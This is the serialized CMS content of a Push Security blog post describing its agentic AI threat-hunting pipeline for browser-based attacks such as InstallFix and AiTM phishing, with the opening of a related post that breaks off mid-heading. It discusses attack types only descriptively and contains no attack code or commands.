expertise.",{"data":6112,"content":6113,"nodeType":866},{},[6114,6118,6123],{"data":6115,"marks":6116,"value":6117,"nodeType":865},{},[],"So at Push, we use a variety of commercial AI models and tools in complementary ways. What matters most is the telemetry they analyze, and that’s where Push’s existing product infrastructure shines: We’re already deployed into over ",{"data":6119,"marks":6120,"value":6122,"nodeType":865},{},[6121],{"type":935},"3 million browsers worldwide",{"data":6124,"marks":6125,"value":6126,"nodeType":865},{},[],", and the Push browser extension includes a component that operates as a flight recorder to locally record everything that matters inside a browser session.",{"data":6128,"content":6129,"nodeType":866},{},[6130],{"data":6131,"marks":6132,"value":6133,"nodeType":865},{},[],"This universe of metadata — DOM elements, tab context, script execution, network traffic, user actions, credential entry, etc. — becomes the searchable corpus for hunts. Metadata is stored locally in users’ browsers and only queried during targeted threat hunts. ",{"data":6135,"content":6136,"nodeType":866},{},[6137],{"data":6138,"marks":6139,"value":6140,"nodeType":865},{},[],"This approach avoids dragnet collection of sensitive data. Instead, we focus on collecting metadata and distilling that into patterns and insights that provide context for agents to perform their analysis. This means that Push also does not train or fine-tune models on customer data.",{"data":6142,"content":6143,"nodeType":1229},{},[6144],{"data":6145,"marks":6146,"value":6148,"nodeType":865},{},[6147],{"type":935},"Agents are only as good as the context you give them. Good context is researcher-led",{"data":6150,"content":6151,"nodeType":866},{},[6152],{"data":6153,"marks":6154,"value":6155,"nodeType":865},{},[],"AI agents don’t know how to identify the TTPs of browser-based attacks until you give them the right context, and Push researchers have spent years unpacking these techniques and tools. Agents at Push consume our internal knowledge base of identified TTPs, and both humans and agents perform meta-analyses to check their work. The agents have access to large libraries of traces of human interactions with real phishing kits. This is a powerful dataset to build on.",{"data":6157,"content":6158,"nodeType":866},{},[6159],{"data":6160,"marks":6161,"value":6162,"nodeType":865},{},[],"When we don’t get the results we want from AI models, the question is “What context is it missing? What does our human team know that the agents don’t, and how can we give them that context — do they need data, tools, better workflows?” That closes the gap in performance and keeps quality high.",{"data":6164,"content":6165,"nodeType":1229},{},[6166],{"data":6167,"marks":6168,"value":6170,"nodeType":865},{},[6169],{"type":935},"Integrated architecture that makes agentic AI the throughput layer, not a bolt-on",{"data":6172,"content":6173,"nodeType":866},{},[6174],{"data":6175,"marks":6176,"value":6177,"nodeType":865},{},[],"The constraint we’re trying to break by using AI isn’t knowledge, it’s throughput. Our researchers deeply understand the techniques and tools. An agentic pipeline can apply that understanding continuously across millions of browsers and trillions of events, ingest new external signals, generate hunt hypotheses, triage results, and return only the findings that warrant escalation.",{"data":6179,"content":6180,"nodeType":866},{},[6181],{"data":6182,"marks":6183,"value":6184,"nodeType":865},{},[],"This approach relies on tight integration of our product and our agentic workflows. We’ll take a closer look at that in the next section.",{"data":6186,"content":6187,"nodeType":944},{},[],{"data":6189,"content":6190,"nodeType":953},{},[6191],{"data":6192,"marks":6193,"value":6195,"nodeType":865},{},[6194],{"type":935},"How the agentic detection pipeline runs",{"data":6197,"content":6198,"nodeType":866},{},[6199],{"data":6200,"marks":6201,"value":6202,"nodeType":865},{},[],"Now let’s look at how agentic threat detection actually works, and some of the emerging best practices we’ve identified. We'll cover two example hunts, one initiated autonomously by the agents themselves, and one by our research team. ",{"data":6204,"content":6205,"nodeType":1229},{},[6206],{"data":6207,"marks":6208,"value":6210,"nodeType":865},{},[6209],{"type":935},"Example 1: Autonomous threat hunt",{"data":6212,"content":6213,"nodeType":866},{},[6214],{"data":6215,"marks":6216,"value":6217,"nodeType":865},{},[],"Push’s threat hunting pipeline ingested context from research articles describing a new attack technique, and an agent developed hypotheses on what to hunt for across Push’s install base to identify instances of this attack. ",{"data":6219,"content":6220,"nodeType":866},{},[6221],{"data":6222,"marks":6223,"value":6224,"nodeType":865},{},[],"The agent crafted detection queries and then refined them to reduce false positives. The successful query ran across stored metadata and returned results, validating that there were zero false positives. ",{"data":6226,"content":6227,"nodeType":866},{},[6228],{"data":6229,"marks":6230,"value":6231,"nodeType":865},{},[],"The validated query became a scheduled job that runs on a regular cadence to monitor for potentially malicious signals. A triage agent then received any matches, did an initial analysis, and passed anything that looked suspicious to another agent to perform deeper analysis. This deep analysis agent wields the full investigative toolkit that a human researcher would — using Push’s internal knowledge base, domain age and registration analysis, URLScan and whois lookups, DOM image analysis, and contextual analysis of page-level and user-level behaviors, etc.",{"data":6233,"content":6234,"nodeType":866},{},[6235],{"data":6236,"marks":6237,"value":6238,"nodeType":865},{},[],"Within a few minutes, it can filter a thousand or more signals in a hunt trace down to a handful with meaning and provide an actionable assessment. Then, once the TTP was well-understood, other agents wrote and refined detections that can raise alerts for customers when an event of this type is seen. The Push platform immediately applies the customer’s configured security controls, such as blocking users from interacting with malicious pages.",{"data":6240,"content":6241,"nodeType":1229},{},[6242],{"data":6243,"marks":6244,"value":6246,"nodeType":865},{},[6245],{"type":935},"Example 2: Human-initiated threat hunt",{"data":6248,"content":6249,"nodeType":866},{},[6250],{"data":6251,"marks":6252,"value":6253,"nodeType":865},{},[],"Now, going back to the example from the beginning of the article: InstallFix. This hunt started with a thorny problem our research team needed to solve: How to detect bad things downstream of a user interacting with a Google ad? We needed a way to pinpoint the bad links from the good ones.",{"data":6255,"content":6256,"nodeType":866},{},[6257,6261,6266,6269,6274,6277,6282],{"data":6258,"marks":6259,"value":6260,"nodeType":865},{},[],"Our researchers collaborated with agents to formulate the right parameters for hunt queries, taking into account that good ads are normally bought by companies with marketing budgets, so therefore ads will be expected to redirect to pages hosted on custom domains, not shared domains like ",{"data":6262,"marks":6263,"value":6265,"nodeType":865},{},[6264],{"type":935},"*pages.dev",{"data":6267,"marks":6268,"value":3202,"nodeType":865},{},[],{"data":6270,"marks":6271,"value":6273,"nodeType":865},{},[6272],{"type":935},"*workers.dev",{"data":6275,"marks":6276,"value":3202,"nodeType":865},{},[],{"data":6278,"marks":6279,"value":6281,"nodeType":865},{},[6280],{"type":935},"*squarespace.com",{"data":6283,"marks":6284,"value":6285,"nodeType":865},{},[],", etc.",{"data":6287,"content":6288,"nodeType":866},{},[6289],{"data":6290,"marks":6291,"value":6292,"nodeType":865},{},[],"Our AI agents already understood key TTPs that indicated potential maliciousness on a page: password prompts, file downloads, OAuth integrations, clipboard copies, and similar user prompts that are frequently abused.",{"data":6294,"content":6295,"nodeType":866},{},[6296],{"data":6297,"marks":6298,"value":6299,"nodeType":865},{},[],"The agent ran several queries that returned matching browsing traces — the term we use for sequences of events in a session or tab context — where the user clicked a Google ad, was redirected to a page on a shared hosting domain, and then clicked a button to copy content to their clipboard.",{"data":6301,"content":6305,"nodeType":921},{"target":6302},{"sys":6303},{"id":6304,"type":918,"linkType":919},"4IWOrWuvbwzWRJUkINiwKH",[],{"data":6307,"content":6308,"nodeType":866},{},[6309],{"data":6310,"marks":6311,"value":6312,"nodeType":865},{},[],"We got back high-fidelity findings and then tuned the query into a continuous detection that leveraged existing detection logic around related techniques. This process also effectively back-tests new detections, so we know we’re not going to generate a lot of false positives. Result: A new detection against a new technique, plus several improvements to existing detections.",{"data":6314,"content":6315,"nodeType":1229},{},[6316],{"data":6317,"marks":6318,"value":6320,"nodeType":865},{},[6319],{"type":935},"What infrastructure is needed for agentic threat hunting?",{"data":6322,"content":6323,"nodeType":866},{},[6324],{"data":6325,"marks":6326,"value":6327,"nodeType":865},{},[],"Both of these examples illustrate the end-to-end workflows supported by this pipeline. From an infrastructure perspective, you can think about the pipeline as composed of:",{"data":6329,"content":6330,"nodeType":2374},{},[6331,6346,6361,6376,6391],{"data":6332,"content":6333,"nodeType":2309},{},[6334],{"data":6335,"content":6336,"nodeType":866},{},[6337,6342],{"data":6338,"marks":6339,"value":6341,"nodeType":865},{},[6340],{"type":935},"A flight recorder: ",{"data":6343,"marks":6344,"value":6345,"nodeType":865},{},[],"The Push extension-powered capability that collects and locally stores browser event metadata from users’ browsers.",{"data":6347,"content":6348,"nodeType":2309},{},[6349],{"data":6350,"content":6351,"nodeType":866},{},[6352,6357],{"data":6353,"marks":6354,"value":6356,"nodeType":865},{},[6355],{"type":935},"A knowledge base:",{"data":6358,"marks":6359,"value":6360,"nodeType":865},{},[]," Structured knowledge about what Push knows about TTPs and its existing body of detection logic, as well as externally sourced signals of new attack trends.",{"data":6362,"content":6363,"nodeType":2309},{},[6364],{"data":6365,"content":6366,"nodeType":866},{},[6367,6372],{"data":6368,"marks":6369,"value":6371,"nodeType":865},{},[6370],{"type":935},"Agents as tools: ",{"data":6373,"marks":6374,"value":6375,"nodeType":865},{},[],"Role-segmented agents that work as a team to triage, investigate, develop hunt queries, return analyses, write detections, and review each others’ work for completeness and accuracy.",{"data":6377,"content":6378,"nodeType":2309},{},[6379],{"data":6380,"content":6381,"nodeType":866},{},[6382,6387],{"data":6383,"marks":6384,"value":6386,"nodeType":865},{},[6385],{"type":935},"Humans in the loop: ",{"data":6388,"marks":6389,"value":6390,"nodeType":865},{},[],"Human researchers who collaborate with agents to initiate hunts and tune detections.",{"data":6392,"content":6393,"nodeType":2309},{},[6394],{"data":6395,"content":6396,"nodeType":866},{},[6397,6402],{"data":6398,"marks":6399,"value":6401,"nodeType":865},{},[6400],{"type":935},"Platform controls: ",{"data":6403,"marks":6404,"value":6405,"nodeType":865},{},[],"The Push administrator-configured controls that specify how to respond to detected events like AiTM phishing, tuneable by scope, user groups, browser profiles, apps, etc.",{"data":6407,"content":6411,"nodeType":921},{"target":6408},{"sys":6409},{"id":6410,"type":918,"linkType":919},"7FY0vCBUXOt4vnudFuKALC",[],{"data":6413,"content":6414,"nodeType":1229},{},[6415],{"data":6416,"marks":6417,"value":6419,"nodeType":865},{},[6418],{"type":935},"What are the best practices for agentic threat detection?",{"data":6421,"content":6422,"nodeType":866},{},[6423,6427,6432],{"data":6424,"marks":6425,"value":6426,"nodeType":865},{},[],"To be effective, agents must specialize and focus. This is the ",{"data":6428,"marks":6429,"value":6431,"nodeType":865},{},[6430],{"type":935},"agents as tools",{"data":6433,"marks":6434,"value":6435,"nodeType":865},{},[]," concept. When we’re asking AI agents to take massive amounts of data and make a high-level decision about a signal in observed browser events, they must work as a team, finding intelligent ways to condense information without losing important context or hallucinating.",{"data":6437,"content":6438,"nodeType":866},{},[6439],{"data":6440,"marks":6441,"value":6442,"nodeType":865},{},[],"Creating a hierarchy of agent jobs — including agents to perform meta-analyses to catch mistakes and verify conclusions — makes the agents effective by giving them a manageable focus that controls the size of context windows.",{"data":6444,"content":6448,"nodeType":921},{"target":6445},{"sys":6446},{"id":6447,"type":918,"linkType":919},"3fzJCknMUmh4Z7YnhBSbsT",[],{"data":6450,"content":6451,"nodeType":866},{},[6452],{"data":6453,"marks":6454,"value":6455,"nodeType":865},{},[],"Creating an agentic workflow requires operationalizing your internal knowledge in a repeatable and trustworthy way. Sharing rich context from human discoveries is the key to getting the best results out of agents. ",{"data":6457,"content":6458,"nodeType":866},{},[6459,6463,6468],{"data":6460,"marks":6461,"value":6462,"nodeType":865},{},[],"It's vital too that the agent uses ",{"data":6464,"marks":6465,"value":6467,"nodeType":865},{},[6466],{"type":935},"privacy-preserving methods and infrastructure.",{"data":6469,"marks":6470,"value":6471,"nodeType":865},{},[]," The Push agent is designed to respect customer and user privacy while enabling high-fidelity detections. We do this by collecting broad browser metadata but storing it locally in users’ browsers and only querying that metadata during active threat hunting investigations.",{"data":6473,"content":6474,"nodeType":944},{},[],{"data":6476,"content":6477,"nodeType":953},{},[6478],{"data":6479,"marks":6480,"value":6482,"nodeType":865},{},[6481],{"type":935},"The compounding effect and how it benefits Push customers",{"data":6484,"content":6485,"nodeType":866},{},[6486],{"data":6487,"marks":6488,"value":6489,"nodeType":865},{},[],"At Push, we think about our detection capability as two learning loops with a compounding effect: An inner loop that serves as our real-time detection and response engine for known attacker techniques, and an outer loop that is the continuous learning our agents do as they hunt for new threats, analyze emerging behaviors, and create new detections. ",{"data":6491,"content":6492,"nodeType":866},{},[6493],{"data":6494,"marks":6495,"value":6496,"nodeType":865},{},[],"The outer loop feeds the inner loop, and vice versa.",{"data":6498,"content":6502,"nodeType":921},{"target":6499},{"sys":6500},{"id":6501,"type":918,"linkType":919},"1Jjqll7IIX2QRxN37gjFMH",[],{"data":6504,"content":6505,"nodeType":866},{},[6506],{"data":6507,"marks":6508,"value":6509,"nodeType":865},{},[],"Customers benefit from this approach because it means they:",{"data":6511,"content":6512,"nodeType":2374},{},[6513,6535,6545],{"data":6514,"content":6515,"nodeType":2309},{},[6516],{"data":6517,"content":6518,"nodeType":866},{},[6519,6523,6531],{"data":6520,"marks":6521,"value":6522,"nodeType":865},{},[],"Regularly receive ready-made detections against both known and emerging browser-based threats, without having to write their own detections. (Push also provides the ability to write your own ",{"data":6524,"content":6526,"nodeType":889},{"uri":6525},"/help/audience/engineering/resources/custom-detections",[6527],{"data":6528,"marks":6529,"value":6530,"nodeType":865},{},[],"custom detections",{"data":6532,"marks":6533,"value":6534,"nodeType":865},{},[],", too, for environment-specific use cases.)",{"data":6536,"content":6537,"nodeType":2309},{},[6538],{"data":6539,"content":6540,"nodeType":866},{},[6541],{"data":6542,"marks":6543,"value":6544,"nodeType":865},{},[],"Can configure Push’s response actions based on their security goals and environment. Agents act as the threat-hunting and detection engineering team; Push customers set the thresholds for how they want to respond. For example, customers can use Push controls to block all AiTM phishing attacks (or even carve out exceptions for their own incident responders to be able to visit malicious pages with just a warning), and agents continually feed new indicators into detection logic for that class of attack.",{"data":6546,"content":6547,"nodeType":2309},{},[6548],{"data":6549,"content":6550,"nodeType":866},{},[6551],{"data":6552,"marks":6553,"value":6554,"nodeType":865},{},[],"Get pre-digested and actionable intelligence from every detection, with extremely high fidelity.",{"data":6556,"content":6557,"nodeType":866},{},[6558],{"data":6559,"marks":6560,"value":6561,"nodeType":865},{},[],"This all equates to your own advanced browser threat protection, without requiring the specialized in-house expertise we’ve spent years building.",{"data":6563,"content":6564,"nodeType":866},{},[6565],{"data":6566,"marks":6567,"value":6568,"nodeType":865},{},[],"If you’re a Push customer, you already know that we regularly collaborate with security teams to identify and refine detection use cases, and assist with investigations. In the past few months alone, we’ve worked closely with teams targeted by device code phishing, and InstallFix and ClickFix campaigns, among others. ",{"data":6570,"content":6571,"nodeType":866},{},[6572],{"data":6573,"marks":6574,"value":6575,"nodeType":865},{},[],"If you’re not a customer and are curious about how Push’s agentic threat hunting and detection engineering capabilities can address your use cases, please get in touch.",{"data":6577,"content":6581,"nodeType":921},{"target":6578},{"sys":6579},{"id":6580,"type":918,"linkType":919},"607jrBjlD1vtcbkDfD04DE",[],{"data":6583,"content":6584,"nodeType":944},{},[],{"data":6586,"content":6587,"nodeType":953},{},[6588],{"data":6589,"marks":6590,"value":6592,"nodeType":865},{},[6591],{"type":935},"Learn more",{"data":6594,"content":6595,"nodeType":866},{},[6596],{"data":6597,"marks":6598,"value":1471,"nodeType":865},{},[],{"data":6600,"content":6601,"nodeType":866},{},[6602],{"data":6603,"marks":6604,"value":1478,"nodeType":865},{},[],{"data":6606,"content":6607,"nodeType":866},{},[6608,6611,6618],{"data":6609,"marks":6610,"value":2641,"nodeType":865},{},[],{"data":6612,"content":6614,"nodeType":889},{"uri":6613},"/demo",[6615],{"data":6616,"marks":6617,"value":2649,"nodeType":865},{},[],{"data":6619,"marks":6620,"value":2653,"nodeType":865},{},[],{"entries":6622},{"inline":6623,"hyperlink":6624,"block":6652},[],[6625,6629,6631,6633,6636,6640,6644,6648],{"sys":6626,"__typename":1802,"title":6627,"slug":6628},{"id":5706},"How cyber criminals power malvertising scams with stolen accounts","cyber-criminal-ecosystem-analysis",{"sys":6630,"__typename":1802,"title":3684,"slug":3687},{"id":2677},{"sys":6632,"__typename":1802,"title":2654,"slug":2657},{"id":1804},{"sys":6634,"__typename":1802,"title":6635,"slug":361},{"id":5884},"Device code phishing attacks have skyrocketed: here’s what you need to know",{"sys":6637,"__typename":1802,"title":6638,"slug":6639},{"id":5908},"ConsentFix: Analyzing a browser-native ClickFix-style attack that hijacks OAuth consent grants","consentfix",{"sys":6641,"__typename":1802,"title":6642,"slug":6643},{"id":5934},"Google Search malvertising campaign continues, now impersonating Ahrefs","google-search-malvertising-campaign-continues-now-impersonating-ahrefs",{"sys":6645,"__typename":1802,"title":6646,"slug":6647},{"id":5958},"Uncovering a Calendly-themed phishing campaign targeting business ad manager accounts","uncovering-a-calendly-themed-phishing-campaign",{"sys":6649,"__typename":1802,"title":6650,"slug":6651},{"id":6046},"Our design philosophy: Detecting what matters","our-design-philosophy-detecting-what-matters",[6653,6674,6681,6714,6721,6726,6734,6742,6756,6763],{"sys":6654,"__typename":1679,"content":6655,"name":6673,"title":59},{"id":5809},{"json":6656},{"nodeType":1663,"data":6657,"content":6658},{},[6659,6666],{"nodeType":866,"data":6660,"content":6661},{},[6662],{"nodeType":865,"value":6663,"marks":6664,"data":6665},"In this article, we’ll outline how Push uses AI agents as a force multiplier for identifying emerging threats that target organizations via the browser — think: ClickFix, vibecoded phishing sites, AiTM kits, cloned login pages, ConsentFix attacks, malicious OAuth apps, device code phishing, sites impersonating Claude Code installers, etc. — and share what we’ve learned. ",[],{},{"nodeType":866,"data":6667,"content":6668},{},[6669],{"nodeType":865,"value":6670,"marks":6671,"data":6672},"We’ll cover the architectural decisions we made that enable the successful implementation of agents and some emerging best practices we’ve identified; discuss why our hunts focus on extracting techniques, not indicators; and illustrate how Push customers are benefitting from this agentic pipeline.",[],{},"Agentic Threat Hunting Blog IB1",{"sys":6675,"__typename":1671,"title":1861,"caption":6676,"layoutMode":59,"file":6677},{"id":5972},"Browser and identity-based techniques have exploded since we first launched our attack matrix",{"url":6678,"width":6679,"height":6680},"https://images.ctfassets.net/y1cdw1ablpvd/L0Yc77y9vzrKVD72BQGX2/4ffe0bf61bd62f025262b8efd74394b7/Browser___Identity_Attacks_Matrix__1_.png",6160,4432,{"sys":6682,"__typename":1679,"content":6683,"name":6713,"title":59},{"id":5985},{"json":6684},{"nodeType":1663,"data":6685,"content":6686},{},[6687,6706],{"nodeType":866,"data":6688,"content":6689},{},[6690,6694,6702],{"nodeType":865,"value":6691,"marks":6692,"data":6693},"Push researchers are seeing ",[],{},{"nodeType":889,"data":6695,"content":6697},{"uri":6696},"https://pushsecurity.com/blog/inside-criminal-phishing-panel/",[6698],{"nodeType":865,"value":6699,"marks":6700,"data":6701},"extensive evidence of LLM use",[],{},{"nodeType":865,"value":6703,"marks":6704,"data":6705}," in attacks we detect, from LLM-generated phishing kits and tools to vibe-coded cloned pages, demonstrating how much adversaries have embraced these tools to expedite their work. ",[],{},{"nodeType":866,"data":6707,"content":6708},{},[6709],{"nodeType":865,"value":6710,"marks":6711,"data":6712},"In particular, we’ve observed operator-gated payload delivery that greatly reduces the likelihood that malicious sites will be flagged and added to known-bad detection lists because they’re only served to active targets, using gated landing pages, anti-bot checks, and other methods to evade proactive infrastructure scanning. This reinforces the need for browser-based detection at the point the user interacts with the page.",[],{},"Agentic Threat Hunting Blog IB2",{"sys":6715,"__typename":1671,"title":6716,"caption":6717,"layoutMode":59,"file":6718},{"id":6025},"Sample detection - blog article - custom branding","Sample detection details in the Push admin console for a blocked phishing event",{"url":6719,"width":1675,"height":6720},"https://images.ctfassets.net/y1cdw1ablpvd/6k8qVn1iYXbBl6lcHvphIa/dd802537d883cf6ddafdd78034c3412a/sample_detection.png",766,{"sys":6722,"__typename":6723,"title":6724,"youTubeUrl":6725},{"id":6076},"EmbeddedVideo","Adam Bateman: Agentic AI is a Force Multiplier","https://www.youtube.com/watch?v=F5Qv-su0qQA",{"sys":6727,"__typename":1671,"title":6728,"caption":6729,"layoutMode":59,"file":6730},{"id":6304},"Dissect agent output - agentic threat hunting blog","Summary from the work of Push’s deep investigation AI agent on the initial InstallFix attack detected by Push.",{"url":6731,"width":6732,"height":6733},"https://images.ctfassets.net/y1cdw1ablpvd/6t86kpGUwCVvrJEfVic1Cr/f41986585203764155d736d26cee2176/agentic_summary_example_installfix.png",1998,1428,{"sys":6735,"__typename":1671,"title":6736,"caption":6737,"layoutMode":59,"file":6738},{"id":6410},"Detection engine diagram - agentic threat blog","The Push detection engine combines deep browser telemetry with agentic workflows to rapidly respond to emerging threats.  ",{"url":6739,"width":6740,"height":6741},"https://images.ctfassets.net/y1cdw1ablpvd/1zbE1t82gPo7pgqkAayTcZ/72046ea5db9b80c77053343223025163/platform_diagram_v3.png",1134,762,{"sys":6743,"__typename":1679,"content":6744,"name":6755,"title":59},{"id":6447},{"json":6745},{"data":6746,"content":6747,"nodeType":1663},{},[6748],{"data":6749,"content":6750,"nodeType":866},{},[6751],{"data":6752,"marks":6753,"value":6754,"nodeType":865},{},[],"Use agents as an excuse to operationalize your internal knowledge once and for all. Every security team has a venerable silo of knowledge — that one person who just knows how to do that one major thing. Now, that can be an AI resource accessible to all, at any time, whenever you need it most.","Agentic Threat Hunting Blog IB4",{"sys":6757,"__typename":1671,"title":6758,"caption":6759,"layoutMode":59,"file":6760},{"id":6501},"Learning loops diagram - agentic threat blog","Two learning loops for known and unknown threats create a compounding effect for Push’s ability to defend against browser-based attacks.",{"url":6761,"width":6762,"height":6720},"https://images.ctfassets.net/y1cdw1ablpvd/6TQdqvjhG4AYHITcR1MV9s/b1e1c337f50005186f6022004543023b/learning_loops_v3.png",1001,{"sys":6764,"__typename":6765,"type":6766,"ctaText":6767,"buttonLabel":6768,"buttonColour":6769,"buttonUrl":6770},{"id":6580},"CtaWidget","Custom","Book a demo to learn more about our agentic threat hunting capabilities and how they can benefit your security team.","Book a Demo","sunny orange","https://site.dev.pushsecurity.com/demo/",{"items":6772},[],{},"How we built an agentic threat hunting pipeline at Push","thought-leadership","2026-05-12T00:00:00.000Z",{"items":6778},[6779,7356,8037],{"__typename":1802,"sys":6780,"content":6782,"title":7341,"synopsis":7342,"hashTags":59,"publishedDate":7343,"slug":7344,"tagsCollection":7345,"authorsCollection":7352},{"id":6781},"2nQU0gDEqgarstvFMqFTzn",{"json":6783},{"data":6784,"content":6785,"nodeType":1663},{},[6786,6793,6800,6820,6828,6835,6843,6846,6853,6860,6878,6885,6893,6900,6907,6914,6921,6927,6930,6937,6944,6951,6970,6977,6984,6991,6998,7005,7012,7019,7026,7044,7051,7058,7065,7068,7075,7082,7089,7096,7102,7109,7116,7123,7130,7136,7143,7150,7157,7164,7192,7199,7206,7213,7220,7236,7243,7250,7257,7264,7270,7277,7284,7291,7297,7300,7307,7324],{"data":6787,"content":6788,"nodeType":866},{},[6789],{"data":6790,"marks":6791,"value":6792,"nodeType":865},{},[],"What would it take to vibecode your own AI-driven threat hunting pipeline? ",{"data":6794,"content":6795,"nodeType":866},{},[6796],{"data":6797,"marks":6798,"value":6799,"nodeType":865},{},[],"The commercial models are right there. You’ve probably got a spare weekend coming up, a really nice espresso machine, and a few bucks for tokens. (Is there already an HGTV series on this?)",{"data":6801,"content":6802,"nodeType":866},{},[6803,6807,6816],{"data":6804,"marks":6805,"value":6806,"nodeType":865},{},[],"We recently published a ",{"data":6808,"content":6810,"nodeType":889},{"uri":6809},"https://pushsecurity.com/blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline",[6811],{"data":6812,"marks":6813,"value":6815,"nodeType":865},{},[6814],{"type":1191},"detailed look",{"data":6817,"marks":6818,"value":6819,"nodeType":865},{},[]," at how we use AI agents as a force multiplier for Push’s threat hunting and detection engineering capabilities.One intriguing detail you might have noticed in that article is that at Push, we treat commercial AI models as commoditized infrastructure, akin to cloud computing.",{"data":6821,"content":6822,"nodeType":866},{},[6823],{"data":6824,"marks":6825,"value":6827,"nodeType":865},{},[6826],{"type":935},"So it’s a cheeky question, but a fair one, because if Push is using commercial models, what exactly are you paying for?",{"data":6829,"content":6830,"nodeType":866},{},[6831],{"data":6832,"marks":6833,"value":6834,"nodeType":865},{},[],"It turns out that the models are the easiest things to replace, and in fact we swap out different models with little impact on detection performance. What’s much harder to build is the expertise: the technical knowledge of various attack techniques, the instrumentation in the browser that produces the structured telemetry, and the enforcement layer that turns detections into real-time protection.",{"data":6836,"content":6837,"nodeType":866},{},[6838],{"data":6839,"marks":6840,"value":6842,"nodeType":865},{},[6841],{"type":935},"Let’s break it down.",{"data":6844,"content":6845,"nodeType":944},{},[],{"data":6847,"content":6848,"nodeType":953},{},[6849],{"data":6850,"marks":6851,"value":6852,"nodeType":865},{},[],"The promise and the perils of threat hunting (and where agentic capabilities fit in)",{"data":6854,"content":6855,"nodeType":866},{},[6856],{"data":6857,"marks":6858,"value":6859,"nodeType":865},{},[],"Threat hunting — the practice of proactively searching for threats that haven’t been seen before — is one of the most effective practices in security and one of the least accessible.",{"data":6861,"content":6862,"nodeType":866},{},[6863,6866,6874],{"data":6864,"marks":6865,"value":2361,"nodeType":865},{},[],{"data":6867,"content":6869,"nodeType":889},{"uri":6868},"https://www.sans.org/white-papers/sans-2025-threat-hunting-survey-advancements-threat-hunting-amid-ai-cloud-challenges",[6870],{"data":6871,"marks":6872,"value":6873,"nodeType":865},{},[],"SANS 2025 Threat Hunting Survey",{"data":6875,"marks":6876,"value":6877,"nodeType":865},{},[]," found that 61% of organizations cite staffing shortages as the top barrier to running a hunting program. A single manual hunt takes 10 to 20 hours of sustained analyst focus — forming hypotheses about what an attacker might be doing, querying data sources sequentially, correlating results by hand, documenting findings. Many organizations hunt infrequently or not at all.",{"data":6879,"content":6880,"nodeType":866},{},[6881],{"data":6882,"marks":6883,"value":6884,"nodeType":865},{},[],"Threat hunting in the browser poses specific challenges: The stakes are high as AI-enabled attacks accelerate, and the availability of training and knowledge is low. ",{"data":6886,"content":6887,"nodeType":866},{},[6888],{"data":6889,"marks":6890,"value":6892,"nodeType":865},{},[6891],{"type":935},"AiTM phishing kits that manipulate DOM elements in real time, ClickFix variants that inject malicious payloads through clipboard manipulation, ConsentFix attacks that abuse OAuth consent flows, credential harvesting on pages that rotate infrastructure hourly — these techniques don't map cleanly onto the endpoint-focused threat models most SOC teams were built around, or the data sources they’re used to interrogating. ",{"data":6894,"content":6895,"nodeType":866},{},[6896],{"data":6897,"marks":6898,"value":6899,"nodeType":865},{},[],"Even well-staffed security organizations tend to have a blind spot in the browser layer because the expertise required to hunt there is specialized and the telemetry to support it hasn't historically been available.",{"data":6901,"content":6902,"nodeType":866},{},[6903],{"data":6904,"marks":6905,"value":6906,"nodeType":865},{},[],"Using AI agents to hunt for browser-based threats promises a net-new capability for smaller teams without dedicated threat hunting staff. For larger enterprises, the value of an agentic threat hunting capability lies in its ability to provide (or augment) expertise on emerging attack methods.",{"data":6908,"content":6909,"nodeType":866},{},[6910],{"data":6911,"marks":6912,"value":6913,"nodeType":865},{},[],"Most SOC teams have deep expertise at the endpoint, IdP, cloud, and network layers, built over years of working with those systems’ telemetry and workflows. But browser-based attacks operate in a different domain with different telemetry, different TTPs, and a different evasion model.",{"data":6915,"content":6916,"nodeType":866},{},[6917],{"data":6918,"marks":6919,"value":6920,"nodeType":865},{},[],"A capability like Push’s provides an answer to these three hurdles: providing expertise, without any additional burden on staff, and at a speed that matches the acceleration we’re currently witnessing in browser-based attack techniques.",{"data":6922,"content":6926,"nodeType":921},{"target":6923},{"sys":6924},{"id":6925,"type":918,"linkType":919},"1uw9eFMPDdrevj26fyix5f",[],{"data":6928,"content":6929,"nodeType":944},{},[],{"data":6931,"content":6932,"nodeType":953},{},[6933],{"data":6934,"marks":6935,"value":6936,"nodeType":865},{},[],"This isn’t chatbot log analysis",{"data":6938,"content":6939,"nodeType":866},{},[6940],{"data":6941,"marks":6942,"value":6943,"nodeType":865},{},[],"When you hear “AI-powered threat hunting,” you might imagine an AI copilot sitting on top of your SIEM, summarizing alerts and correlating log entries faster than a human analyst could. It’s a fair assumption because many products use this kind of implementation, and tools like those are useful.",{"data":6945,"content":6946,"nodeType":866},{},[6947],{"data":6948,"marks":6949,"value":6950,"nodeType":865},{},[],"That’s not what we built at Push.",{"data":6952,"content":6953,"nodeType":866},{},[6954,6958,6966],{"data":6955,"marks":6956,"value":6957,"nodeType":865},{},[],"If you’re not familiar with Push, it’s a browser security platform deployed as an extension that detects and stops advanced browser-based attacks while also providing visibility and control over shadow apps and identities, including AI usage. You can use the same telemetry Push provides for these use cases to ",{"data":6959,"content":6961,"nodeType":889},{"uri":6960},"https://pushsecurity.com/blog/why-you-cant-control-ai-without-being-in-the-browser/",[6962],{"data":6963,"marks":6964,"value":6965,"nodeType":865},{},[],"perform data loss and insider risk investigations",{"data":6967,"marks":6968,"value":6969,"nodeType":865},{},[],", too.",{"data":6971,"content":6972,"nodeType":866},{},[6973],{"data":6974,"marks":6975,"value":6976,"nodeType":865},{},[],"What we built is an agentic threat hunting and detection pipeline where AI agents collaborate with in-house threat researchers to continuously hunt for emerging browser-based attack techniques across our customer base, and then automatically write and deploy new detections.",{"data":6978,"content":6979,"nodeType":866},{},[6980],{"data":6981,"marks":6982,"value":6983,"nodeType":865},{},[],"Our pipeline differs from AI-enabled log analysis in three key ways:",{"data":6985,"content":6986,"nodeType":1229},{},[6987],{"data":6988,"marks":6989,"value":6990,"nodeType":865},{},[],"A new telemetry source is the foundation",{"data":6992,"content":6993,"nodeType":866},{},[6994],{"data":6995,"marks":6996,"value":6997,"nodeType":865},{},[],"First, the Push platform generates its own telemetry. The Push browser extension operates as a flight recorder, locally collecting browser session metadata that doesn’t exist anywhere else in the security stack — details like DOM structure, script execution contexts, redirect chains, credential entry behavior, OAuth consent flows, and network requests observed from inside the session. ",{"data":6999,"content":7000,"nodeType":866},{},[7001],{"data":7002,"marks":7003,"value":7004,"nodeType":865},{},[],"This metadata is stored locally and only queried during targeted threat hunts, preserving user and customer privacy.",{"data":7006,"content":7007,"nodeType":1229},{},[7008],{"data":7009,"marks":7010,"value":7011,"nodeType":865},{},[],"Proactive hunting, not just reactive 